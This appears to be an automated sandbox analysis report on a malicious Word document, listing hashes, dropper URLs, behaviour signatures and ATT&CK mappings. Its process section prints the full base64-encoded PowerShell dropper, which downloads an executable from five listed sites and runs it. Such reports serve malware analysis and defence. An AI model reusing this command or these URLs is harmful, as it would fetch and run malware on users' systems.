f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280

General

Target

iifmnrpb.doc
Size

175KB
MD5

f8ab6670f00a035e68134a7fd4dcb264
SHA1

0fd60d0c821d6aa014171a05b7678a21b05056fe
SHA256

f794639d67379bfe9c95c945acab77981d8f44fc8d75e2566e09aaff420cb280
SHA512

f4f48f82ec065a0e7aaa2ae57eceeaead5b5ad7ff49b73cbaf332bf5329888714a8819aa64a95aabdec6471596f299d2a2c20e4557425e4da722d99cdbe5e45c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.greaudstudio.com/docs/olohz_suq_munasyr/

exe.dropper

http://www.gravelrecords.com/wp-admin/5h_jns_l3s6/

exe.dropper

http://gtsouth.com/drinkmenu/38vq_z8al_r5cujfy90n/

exe.dropper

http://groncrete.com/bower_components/cvbh8_f0_84rai/

exe.dropper

http://www.gunesoluk.com/eotps/heb_x_1ehlbx9/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1500 980 powersheLL.exe
Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

43 1500 powersheLL.exe
59 1500 powersheLL.exe
71 1500 powersheLL.exe
73 1500 powersheLL.exe
75 1500 powersheLL.exe
77 1500 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1500	980	powersheLL.exe

flow	pid	process
43	1500	powersheLL.exe
59	1500	powersheLL.exe
71	1500	powersheLL.exe
73	1500	powersheLL.exe
75	1500	powersheLL.exe
77	1500	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5104 WINWORD.EXE
5104 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

1500 powersheLL.exe
1500 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1500 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

5104 WINWORD.EXE
5104 WINWORD.EXE
5104 WINWORD.EXE
5104 WINWORD.EXE
5104 WINWORD.EXE
5104 WINWORD.EXE
5104 WINWORD.EXE

pid	process
5104	WINWORD.EXE
5104	WINWORD.EXE

pid	process
1500	powersheLL.exe
1500	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	1500	powersheLL.exe

pid	process
5104	WINWORD.EXE
5104	WINWORD.EXE
5104	WINWORD.EXE
5104	WINWORD.EXE
5104	WINWORD.EXE
5104	WINWORD.EXE
5104	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\iifmnrpb.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5104

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAFoAQwBSAE8AeQBoAGkAPQAnAFoAQQBHAFEASABuAHYAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBgAFUAcgBJAFQAeQBgAFAAUgBvAGAAVABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAFkAQQBTAEcAdQBlAGEAIAA9ACAAJwA1ADgAMwAnADsAJABHAEkASABFAFUAZgBoAGEAPQAnAEYAUABGAFYASABsAGQAegAnADsAJABRAE8ATQBOAFMAYgBlAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFMAWQBBAFMARwB1AGUAYQArACcALgBlAHgAZQAnADsAJABaAEEATgBGAEoAbwBmAGYAPQAnAEIAUgBOAFcARABmAHUAdQAnADsAJABBAE8AQwBZAE0AcwB0AGQAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAGIAYwBMAEkAZQBOAFQAOwAkAFQAQQBKAEoAQQBsAHoAegA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAcgBlAGEAdQBkAHMAdAB1AGQAaQBvAC4AYwBvAG0ALwBkAG8AYwBzAC8AbwBsAG8AaAB6AF8AcwB1AHEAXwBtAHUAbgBhAHMAeQByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwByAGEAdgBlAGwAcgBlAGMAbwByAGQAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQBoAF8AagBuAHMAXwBsADMAcwA2AC8AKgBoAHQAdABwADoALwAvAGcAdABzAG8AdQB0AGgALgBjAG8AbQAvAGQAcgBpAG4AawBtAGUAbgB1AC8AMwA4AHYAcQBfAHoAOABhAGwAXwByADUAYwB1AGoAZgB5ADkAMABuAC8AKgBoAHQAdABwADoALwAvAGcAcgBvAG4AYwByAGUAdABlAC4AYwBvAG0ALwBiAG8AdwBlAHIAXwBjAG8AbQBwAG8AbgBlAG4AdABzAC8AYwB2AGIAaAA4AF8AZgAwAF8AOAA0AHIAYQBpAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZwB1AG4AZQBzAG8AbAB1AGsALgBjAG8AbQAvAGUAbwB0AHAAcwAvAGgAZQBiAF8AeABfADEAZQBoAGwAYgB4ADkALwAnAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAVgBIAE0ARwB4AHAAZAA9ACcAVQBGAFkARgBFAG4AYgBkACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQQBBAEkAbABxAHoAIABpAG4AIAAkAFQAQQBKAEoAQQBsAHoAegApAHsAdAByAHkAewAkAEEATwBDAFkATQBzAHQAZAAuACIARABgAG8AdwBOAGwATwBgAEEAYABEAGYAaQBMAGUAIgAoACQAWABXAEEAQQBJAGwAcQB6ACwAIAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABXAEEAWgBTAFkAcABmAGcAPQAnAEYASQBMAEEAQQBuAHUAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFEATwBNAE4AUwBiAGUAZwApAC4AIgBsAGAARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABFAEEAVABlACIAKAAkAFEATwBNAE4AUwBiAGUAZwApADsAJABNAFQAUQBQAEYAcgBsAHoAPQAnAFYATgBBAFUAQQBxAHkAdAAnADsAYgByAGUAYQBrADsAJABOAFcAUwBIAEEAbwBqAHUAPQAnAFQARQBLAEwASABpAHAAcQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAEwAVQBCAE4AcABkAGsAPQAnAEUATwBMAEoAQwB1AGQAagAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1500-139-0x00000146EC310000-0x00000146EC332000-memory.dmp

Filesize
136KB

Download
memory/1500-148-0x00007FFC09AD0000-0x00007FFC0A591000-memory.dmp

Filesize
10.8MB

Download
memory/1500-142-0x00007FFC09AD0000-0x00007FFC0A591000-memory.dmp

Filesize
10.8MB

Download
memory/1500-140-0x00007FFC09AD0000-0x00007FFC0A591000-memory.dmp

Filesize
10.8MB

Download
memory/5104-134-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-141-0x0000017596238000-0x000001759623A000-memory.dmp

Filesize
8KB

Download
memory/5104-136-0x00007FFBF27A0000-0x00007FFBF27B0000-memory.dmp

Filesize
64KB

Download
memory/5104-137-0x0000017598860000-0x0000017598864000-memory.dmp

Filesize
16KB

Download
memory/5104-138-0x0000017596238000-0x000001759623A000-memory.dmp

Filesize
8KB

Download
memory/5104-130-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-133-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-135-0x00007FFBF27A0000-0x00007FFBF27B0000-memory.dmp

Filesize
64KB

Download
memory/5104-132-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-144-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-145-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-146-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-147-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download
memory/5104-131-0x00007FFBF4DB0000-0x00007FFBF4DC0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads